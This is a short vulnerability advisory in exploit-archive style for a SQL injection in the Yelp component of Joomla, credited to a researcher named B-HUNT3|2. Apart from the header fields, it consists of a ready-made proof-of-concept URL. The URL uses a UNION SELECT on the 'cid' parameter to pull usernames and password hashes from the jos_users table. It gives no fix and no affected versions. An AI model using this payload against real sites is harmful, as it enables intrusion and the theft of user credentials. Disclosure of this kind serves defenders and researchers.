Joomla (Yelp Component) SQL Injection Vulnerability

[~]>> ...[BEGIN ADVISORY]... !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> TITLE: Joomla (Yelp Component) SQL Injection Vulnerability [~]>> LANGUAGE: PHP [~]>> RESEARCHER: B-HUNT3|2 [~]>> CONTACT: bhunt3r[at_no_spam]gmail[dot_no_spam]com !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> DESCRIPTION: Input var cid is vulnerable to SQL Code Injection [~]>> AFFECTED VERSIONS: N/A [~]>> RISK: Medium/High [~]>> IMPACT: Execute Arbitrary SQL queries !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> PROOF OF CONCEPT: [~]>> http://server/index.php?option=com_yelp&controller=showdetail&task=showdetail&cid=[SQL] [~]>> http://server/index.php?option=com_yelp&controller=showdetail&task=showdetail&cid=-1+UNION+ALL+SELECT+1,2,3,concat_ws(0x3a3a3a,username,password),5,6,concat_ws(0x3a3a3a,username,password),8,9,10,11,12,13,14,15,16,17+FROM+jos_users-- !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! [~]>> ...[END ADVISORY]...